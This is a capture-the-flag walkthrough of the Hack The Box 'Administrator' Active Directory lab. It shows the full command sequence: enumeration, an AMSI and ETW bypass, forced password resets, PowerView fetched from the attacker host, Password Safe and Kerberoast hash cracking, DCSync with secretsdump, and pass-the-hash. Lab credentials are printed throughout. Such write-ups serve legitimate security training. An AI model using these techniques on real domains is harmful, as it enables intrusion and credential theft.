Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.235.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.235.118 -v -oN nmap_tcp_allThe initial Nmap scan reveals a range of open ports. Notably, SMB is running on port 445, LDAP on port 389, and Kerberos on port 88, which strongly suggests the host is part of an Active Directory environment. We also see FTP listening on port 21. From the Nmap results we obtain the domain name administrator.htb, which we then add to the /etc/hosts file to make it easier to reference throughout the engagement.
echo "10.129.235.118 administrator.htb" | sudo tee -a /etc/hostsFTP
Using the supplied credentials Olivia:ichliebedich, we attempt to log in to the FTP service. However, the authentication fails and access is denied.
┌──(kali㉿kali)-[~/Administrator]
└─$ ftp 10.129.235.118
Connected to 10.129.235.118.
220 Microsoft FTP Service
Name (10.129.235.118:kali): Olivia
331 Password required
Password: #ichliebedich
530 User cannot log in, home directory inaccessible.
ftp: Login failed
ftp>DNS
To investigate the DNS service, we use the dig command to query the target directly. The first query with +short shows that the hostname administrator.htb resolves to two IP addresses: 10.129.235.118 and 10.10.11.42.
Running the full dig command confirms this, showing both addresses in the ANSWER SECTION. This indicates that the DNS server is configured with multiple A records for the same domain, meaning the hostname resolves to more than one IP. This is often used for redundancy or load balancing, but in a lab environment it usually suggests the host is reachable through different network ranges.
By confirming these records, we know that traffic to administrator.htb may be routed to either of these IP addresses depending on how we connect.
┌──(kali㉿kali)-[~/Administrator]
└─$ dig +short @10.129.235.118 administrator.htb
10.129.235.118
10.10.11.42LDAP - Active Directory Enumeration
LDAP (Lightweight Directory Access Protocol) is used in Windows environments to manage users, groups, and more. We use windapsearch to search for domain info:
SMB
Using the provided credentials, we attempt to enumerate the available SMB shares. The connection is successful, but the listed shares do not contain anything of immediate interest for further exploitation.
RPC
Next, we check whether the target allows access to the Remote Procedure Call (RPC) service, which often exposes useful information about the domain. We try to connect with a null session (-U "" -N), meaning no username or password is supplied.
Once connected, we attempt some common enumeration commands. Running querydominfo returns NT_STATUS_ACCESS_DENIED, showing that we don’t have the necessary rights to retrieve domain details. We also try enumdomuser, but this isn’t recognised as a valid command (the correct command would be enumdomusers).
At this stage, our null session doesn’t provide any useful information.
┌──(kali㉿kali)-[~/Administrator]
└─$ rpcclient -U "" -N 10.129.235.118
rpcclient $> querydominfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomuser
command not found: enumdomuser
rpcclient $>WinRM
Using the supplied credentials, we successfully connect to the Domain Controller through Evil-WinRM. This gives us an interactive shell on the target, allowing us to run commands directly on the system.
┌──(kali㉿kali)-[~/Administrator]
└─$ nxc winrm 10.129.235.118 -u Olivia -p ichliebedich
WINRM 10.129.235.118 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM 10.129.235.118 5985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)Bloodhound
With the valid credentials, we proceed to enumerate the Domain Controller using BloodHound. For this step we run bloodhound.py, a Python-based ingestor that gathers information from the domain such as users, groups, sessions, and permissions. The collected data is then exported into BloodHound’s database, where it can be visualised and analysed to identify potential attack paths.
After the data collection finishes, we compress the generated JSON files into a ZIP archive. Next, we start the Neo4j service (which BloodHound relies on as its database backend) and then launch BloodHound itself. Finally, we upload the ZIP archive into BloodHound, allowing the tool to parse and display the domain relationships in its graphical interface.
In BloodHound, we set the Olivia user as our starting node. After selecting the node and scrolling down to the Outbound Object Control section, we see that Olivia has GenericAll permissions over the user Michael. This means Olivia effectively has full control over Michael’s account, allowing us to perform actions such as resetting their password.
Foothold
Because Olivia has GenericAll rights over Michael, we have full control of that account. In practice, this means we can reset Michael’s password or carry out other administrative actions on the object. Further details about GenericAll and other permission types are available in the official BloodHound documentation.
Within our Evil-WinRM session, we proceed to bypass AMSI (Antimalware Scan Interface). This step is often necessary because AMSI inspects and blocks potentially malicious scripts before they execute. By applying a bypass, we can run PowerShell payloads and enumeration scripts without being intercepted by the built-in Windows security controls.
*Evil-WinRM* PS C:\Users\olivia\Documents> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
Info: Patching ETW, please be patient ..
[+] Success!Following the guidance from BloodHound, we move ahead with a force password change on the user Michael. Since Olivia has GenericAll rights, this action is permitted and allows us to reset Michael’s password without needing to know the original one.
*Evil-WinRM* PS C:\Users\olivia\Documents> $SecPassword = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\olivia\Documents> $Cred = New-Object System.Management.Automation.PSCredential('administrator.htb\olivia', $SecPassword)Next, we create a secure string object in PowerShell for the new password we intend to set on the target user.
*Evil-WinRM* PS C:\Users\olivia\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceWe then upload PowerView to the target and import it into our PowerShell session. Using the Set-DomainUserPassword function, we reset Michael’s password. If required, we can also supply the $Cred object to explicitly authenticate as Olivia when performing this action.
*Evil-WinRM* PS C:\Users\olivia\Documents> iwr -uri http://10.10.16.141/PowerView.ps1 -Outfile PowerView.ps1
*Evil-WinRM* PS C:\Users\olivia\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\olivia\Documents> Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $CredTo confirm that the password reset was successful, we test the new credentials against the Domain Controller using NetExec (nxc). This helps verify that Michael’s account is accessible with the password we’ve set.
┌──(kali㉿kali)-[~/Administrator]
└─$ nxc winrm 10.129.235.118 -u michael -p 'Password123!'
WINRM 10.129.235.118 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM 10.129.235.118 5985 DC [+] administrator.htb\michael:Password123! (Pwn3d!)Lateral Movement
With the new credentials confirmed, we use Evil-WinRM to establish a session as the user Michael.
Returning to BloodHound, we observe that Michael has the ability to ForceChangePassword on the user Benjamin. This means Michael can reset Benjamin’s password without knowing the existing one, giving us control over Benjamin’s account in much the same way we previously took control of Michael’s.
We now repeat the same process to reset Benjamin’s password. Since Michael has the ForceChangePassword right over Benjamin, we can set a new password of our choice and then use it to log in as Benjamin.
After resetting Benjamin’s password, we verify the new credentials using NetExec (nxc) against the Domain Controller.
┌──(kali㉿kali)-[~/Administrator]
└─$ nxc smb 10.129.235.118 -u benjamin -p 'Password123!'
SMB 10.129.235.118 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.235.118 445 DC [+] administrator.htb\benjamin:Password123! On Bloodhound, we find that Benjamin is a member of the Share Moderators group. However, the purpose and privileges of this group are not immediately clear, so further investigation is required to understand what level of access it provides.
We also confirm that Benjamin’s credentials work with the FTP service we identified during our initial enumeration. This gives us another access point into the system and may allow us to discover files or misconfigurations that were not accessible earlier.
┌──(kali㉿kali)-[~/Administrator]
└─$ nxc ftp 10.129.235.118 -u benjamin -p 'Password123!'
FTP 10.129.235.118 21 10.129.235.118 [+] benjamin:Password123!FTP
Using Benjamin’s credentials, we successfully log into the FTP service. While browsing the available files, we discover a Backup.psafe3 file. This file format belongs to the Password Safe application, which securely stores passwords and other sensitive information using encryption. We download the file to our local machine for further analysis.
To open the .psafe3 file, we need to install the Password Safe application on a Windows machine. However, access to the stored credentials also requires the Master Password, without which the database cannot be unlocked.
We can use the pwsafe2john utility to extract a hash from the .psafe3 file. Once we have the hash, we run it through John the Ripper to attempt to crack the Master Password. If successful, this will allow us to unlock the Password Safe database and access the stored credentials.
┌──(kali㉿kali)-[~/Administrator]
└─$ pwsafe2john Backup.psafe3
Backu:$pwsafe$*3*4ff5<SNIP>4050John the Ripper successfully cracks the hash, revealing the Master Password for the Password Safe database. With this, we unlock the .psafe3 file and gain access to the stored entries, which include accounts for Alexander, Emily, and Emma.
Within the Password Safe application, we can retrieve each saved password by right-clicking on the corresponding user entry and selecting Copy Password to Clipboard.
From the unlocked Password Safe database, we extract the following credentials:
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:U<SNIP>b
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNurWe first validate the extracted credentials using NetExec (nxc). After testing each account, we confirm a successful login with Emily’s credentials. We then update our credentials file to keep track of the working account details.
At this stage, our credentials file has been updated to include all the accounts we have discovered and validated so far. It looks like this:
olivia:ichliebedich
michael:Password123!
benjamin:Password123!
Backu:t<SNIP>o
emily:U<SNIP>bNext, we use Evil-WinRM with Emily’s credentials to connect to the Domain Controller.
After gaining access as Emily, we navigate to her desktop directory:
C:\Users\emily\DesktopHere we find the user flag, marking the completion of the first stage of the box.
Privilege Escalation
Looking back at BloodHound, we see that Emily has GenericWrite permissions over the user Ethan. This level of access allows Emily to modify certain attributes of Ethan’s account, which we may be able to abuse to gain control of it.
At this point, we can perform a targeted Kerberoast attack against Ethan. However, if our system clock is not aligned with the Domain Controller, we may encounter the error “Clock skew too great”. To fix this, we synchronise our Linux machine’s time with the Domain Controller using the ntpdate command.
After running the targeted Kerberoast attack, we successfully obtain a Kerberos service ticket for the user Ethan. We then extract the hash from the ticket and use John the Ripper to crack it. This reveals Ethan’s clear-text password, giving us valid credentials for his account.
Alternatively we can use hashcat by running:
hashcat -a 0 -m 13100 ethan_tgs /usr/share/wordlists/rockyou.txtWe can validate Ethan’s cracked credentials by running NetExec (nxc) against the Domain Controller, for example:
┌──(kali㉿kali)-[~/Administrator]
└─$ nxc smb 10.129.235.118 -u ethan -p l<SNIP>t
SMB 10.129.235.118 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.235.118 445 DC [+] administrator.htb\ethan:l<SNIP>t Reviewing the BloodHound results, we see that Ethan has the necessary rights to perform a DCSync attack. This technique allows us to impersonate a Domain Controller and request NTLM password hashes for domain accounts, including highly privileged users such as Domain Admins.
We carry out the DCSync attack using secretsdump.py from the Impacket toolkit, authenticating with Ethan’s credentials. This tool queries the Domain Controller and dumps the NTLM password hashes for domain users, including privileged accounts.
┌──(kali㉿kali)-[~/Administrator]
└─$ secretsdump.py administrator.htb/ethan@10.129.235.118 -just-dc
Impacket v0.13.0.dev0+20250314.172046.8b4566b1 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc5<SNIP>fd2e:::Alternatively, if we only want to extract the Administrator’s NTLM hash, we can specify the account directly when running secretsdump.py. For example:
With the Administrator’s NTLM hash obtained, we can now use Evil-WinRM to access the Domain Controller. Instead of supplying a clear-text password, we authenticate with the hash using pass-the-hash functionality, which grants us an interactive shell as the Domain Administrator.
Finally, with Administrator-level access, we navigate to:
C:\Users\Administrator\DesktopHere we find the root flag, marking full compromise of the machine.
References
- HTB Official Walkthrough for Administrator
- https://github.com/ShutdownRepo/targetedKerberoast